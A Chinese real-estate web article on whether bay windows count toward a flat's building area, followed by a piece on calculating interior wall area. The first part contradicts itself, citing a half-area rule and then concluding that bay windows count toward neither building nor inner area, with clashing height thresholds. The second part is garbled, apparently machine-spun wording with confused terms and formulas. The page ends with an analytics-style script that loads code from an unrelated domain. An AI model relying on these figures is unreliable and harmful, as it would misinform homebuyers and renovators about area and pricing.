飘窗算不算建筑面积？ 最新飘窗面积计算规则

我们在选择房子的时候，一般都比较会注重其中的建筑面积大小，或者也会参考结构设计的合理性以及后期居住的舒适程度，那么出于这些方面的考虑许多房地产机构就倾向于在房子中设计一些飘窗结构，它们的存在使得我们能够在后期居住的时候有一个休闲休息的场所，但是这一类飘窗算不算建筑面积呢?或者说飘窗是否属于套内面积?旗下有类似疑惑和困扰的朋友都可以结合自己的实际情况，有选择性深入学习和参考，相信借此可以收获到令人满意的效果。也能够避免不必要的损失。一、飘窗算不算建筑面积不算，依据《建筑工程建筑面积计算规范》下列项目不应计算面积：1、建筑物通道(骑楼、过街楼的底层)。2、建筑物内的设备管道夹层。3、建筑物内分隔的单层房间，舞台及后台悬挂幕布、布景的天桥、挑台等。4、屋顶水箱、花架、凉棚、露台、露天游泳池。5、建筑物内的操作平台、上料平台、安装箱和罐体的平台。6、勒脚、附墙柱、垛、台阶、墙面抹灰、装饰面、镶贴块料面层、装饰性幕墙、空调室外机搁板(箱)、飘窗、构件、配件、宽度在2.10m及以内的雨篷以及与建筑物内不相连通的装饰性阳台、挑廊。7、无永久性顶盖的架空走廊、室外楼梯和用于检修、消防等的室外钢楼梯、爬梯。8、自动扶梯、自动人行道。9、独立烟囱、烟道、地沟、油(水)罐、气柜、水塔、贮油(水)池、贮仓、栈桥、地下人防通道、地铁隧道。二、最新飘窗面积计算规则根据《建筑工程建筑面积计算规范》规定，"窗台与室内楼地面高差在0.45m以下且结构净高在2.10m及以上的凸（飘）窗，应按其围护结构外围水平面积计算1/2面积；窗台与室内地面高差在0.45m以下且结构净高在2.10m以下的凸（飘）窗，不计算建筑面积"。建设部文件规定：对倾斜弧状等非垂直墙体的房屋、层高2.2米以上的部位要计算面积；而房屋墙体向外倾斜、超出底线外沿的，以底板投影计算建筑面积。换句话说，飘窗台到天花板的高度少于2.2米，窗台不算入面积，建筑物的阳台均应按其水平投影面积的1/2计算。而超过2.2米的落地飘窗有效地扩大了房屋的实际使用面积，所以应纳入房屋产权面积，并按照最终实测面积计算房价。考虑到许多朋友在购置房产的时候都会担心飘窗作为建筑面积被计算其中，继而导致后期支付的价格过于高，使得大家蒙受不必要的损失，所以今天小编就为大家从专业细致的角度入手，详细说明关于飘窗是否属于建筑面积或者套内面积方面的问题，由此可以得知，根据有关部门的文件规定，飘窗并不属于两者中的任何一种，我们在计算的时候应该关注合同中具体细节方面的文字说明，避免因为不了解情况而被坑害。

房屋内墙面积计算规则都有哪些呢？

当每个人都在做室内装饰的时候，通常装修的人员首先进行室内测量。装修室奠定了我们室内装饰设计的基础。例如，当我们在处理墙壁的时候，墙壁通常是贴满的，所以我们需要知道墙壁的面积域等等。那么，内墙面积计算规则的计算公式是什么呢？接下来，小编将简要介绍一下。内墙面积计算规则有哪些呢？1、房屋内墙面积的计算是：墙的净长度*高度-门和窗户的面积。每个人都应该注意计算。如果我们根据屋顶设置屋顶，则应在屋顶地板上方20厘米处计算高度。如果房间没有安装屋顶，则高度计算在屋顶的底部。如果内壁具有墙裙，则从墙裙的顶部计算高度。2、在计算房屋内壁面积时，一般消除墙面的孔面积，但如果孔面积约为0.3平方，则无需扣除面积，此外还有墙壁插座，墙壁吊架。电缆，墙壁和部件的交叉区域也不能扣除。如果墙上有门槛和烟囱安装在墙上，我们必须计算内墙石膏区域的侧面积。3、内部灰泥区域通常包括墙壁和天花板的抹灰区域。如果我们需要在室内计算石膏区域，我们可以估算室内地板总面积为*2.5或2.8的石膏总面积。在计算内墙的石膏区域后，您可以根据区域的大小购买一定量的水泥砂浆和其他产品。我们可以向商店工作人员咨询购买的水泥砂浆的数量。小编概要：内墙面积计算规则是什么？小编在这里介绍。我希望在阅读这篇文章后，我可以在计算未来内墙的面积时给你一个参考。当您进行室内装饰时，您也可以要求专业人员根据内墙面积计算规则来进行施工等。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();